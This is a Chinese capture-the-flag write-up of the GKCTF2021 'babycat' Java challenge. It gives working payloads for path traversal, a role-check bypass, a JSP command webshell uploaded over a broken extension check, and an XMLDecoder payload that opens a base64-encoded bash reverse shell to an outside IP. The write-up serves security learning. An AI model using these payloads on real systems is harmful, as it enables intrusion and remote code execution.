[WriteUp]GKCTF2021 babycat
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[WriteUp]GKCTF2021 babycat相关的知识,希望对你有一定的参考价值。
前言
最近想找一点Java题做,看看CTF中的Java题都是什么样的,想到之前GKCTF里面有这么一道Java,存在非预期所以后来修复了,来做了一下学习学习。
非预期
进入环境发现有登录和注册的功能,看一下注册那里的f12知道了后端接收的方式和数据:
<script type="text/javascript">
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";
$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}
</script>
然后请求一下,随便注册一个:
data={"username":"1","password":"1","role":"admin"}
然后登录。登录进去后发现role还是guest,先放在这。看一下功能,有个文件上传但是需要role是admin才行。还有个任意文件下载:
/home/download?file=../../static/cat.gif
尝试下载文件。考虑到之前测试register接口的时候,我忘记了加上data结果报了500:
当时也看了一下,很熟悉的Servlet
。因此对于项目的结构也大致能猜出来。
先读一下web.xml:
?file=../web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<servlet>
<servlet-name>register</servlet-name>
<servlet-class>com.web.servlet.registerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.web.servlet.loginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>home</servlet-name>
<servlet-class>com.web.servlet.homeServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.web.servlet.uploadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.web.servlet.downloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.web.servlet.logoutServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>logout</servlet-name>
<url-pattern>/logout</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/home/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>register</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<display-name>java</display-name>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>home</servlet-name>
<url-pattern>/home</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/home/upload</url-pattern>
</servlet-mapping>
<filter>
<filter-name>loginFilter</filter-name>
<filter-class>com.web.filter.LoginFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>loginFilter</filter-name>
<url-pattern>/home/*</url-pattern>
</filter-mapping>
<display-name>java</display-name>
<welcome-file-list>
<welcome-file>/WEB-INF/index.jsp</welcome-file>
</welcome-file-list>
</web-app>
再根据这些Servlet
,依次读出来class文件,例如:
?file=../classes/com/web/servlet/loginServlet.class
最后大致会读出来这些:
大致审计一下,首先就是注册那里role的问题:
String role = "";
Gson gson = new Gson();
new Person();
Connection connection = null;
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\\"");
Pattern pattern = Pattern.compile("\\"role\\":\\"(.*?)\\"");
for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) {
}
Person person;
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\\"role\\":\\"guest\\"");
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}
根据正则匹配,然后将匹配到的东西替换成\\"role\\":\\"guest\\"
。但是那里用的是for循环,role得到的是最后依次匹配到的,所以可以写2个不一样的role,把最后依次匹配到的替换掉就可以了:
data={"username":"1","password":"1","role":"admin","1":{"role":"1"}}
这样role就是admin了,可以使用文件上传功能。
文件上传功能那里限制了文件的后缀很内容,但是这里出了问题:
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
在if里面,如果后缀或者内容出了问题,进行请求转发后,并没有return:
无论是 request.getRequestDispatcher(path).forward(request, response)还是response.sendRedirect,程序都会在执行完该句的情况下继续向下执行,因此在必要的时候应该使用return终止该方法.
这就是非预期产生的原因,可以随便写马上传。写个jsp木马然后上传,但是upload目录不可写,写到static目录就可以了:
------WebKitFormBoundaryLH4SrsDPS4UucSBo
Content-Disposition: form-data; name="file"; filename="../../static/2.jsp"
Content-Type: application/octet-stream
<%
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[1024];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
%>
------WebKitFormBoundaryLH4SrsDPS4UucSBo--
预期解
是知识盲区没错了。学一手WP。
虽然限制了后缀,但是可以上传xml。注意到baseDao
:
public static void getConfig() throws FileNotFoundException {
Object obj = (new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/db/db.xml"))).readObject();
if (obj instanceof HashMap) {
HashMap map = (HashMap)obj;
if (map != null && map.get("url") != null) {
driver = (String)map.get("driver");
url = (String)map.get("url");
username = (String)map.get("username");
password = (String)map.get("password");
}
}
}
存在XMLDecoder
的漏洞,这里直接把payload打了,下一篇文章去分析一下原理。
正常的就是类似XML,里面可以写上命令执行:
<java version="1.7.0_80" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
如果XMLDecoder
解析了这个xml,就会导致命令执行。
但是内容ban了一些命令执行,考虑到是xml,可以利用实体编码来绕过:
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNS4xNjkuMjIzLzM5ODc2IDA+JjE=}|{base64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
写个反弹shell,然后覆盖掉db.xml:
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
再重新登录即可反弹shell拿到flag。
其他的学习
关于role的那个,官方的解法是利用注释:
这⾥由于是json库,并且是gson进⾏解析,于是可以在 json中⾃由使⽤注释符/**/
所以那里也可以拿注释服来绕过,学习了学习了!
总结
再去看看XMLDecoder
。
以上是关于[WriteUp]GKCTF2021 babycat的主要内容,如果未能解决你的问题,请参考以下文章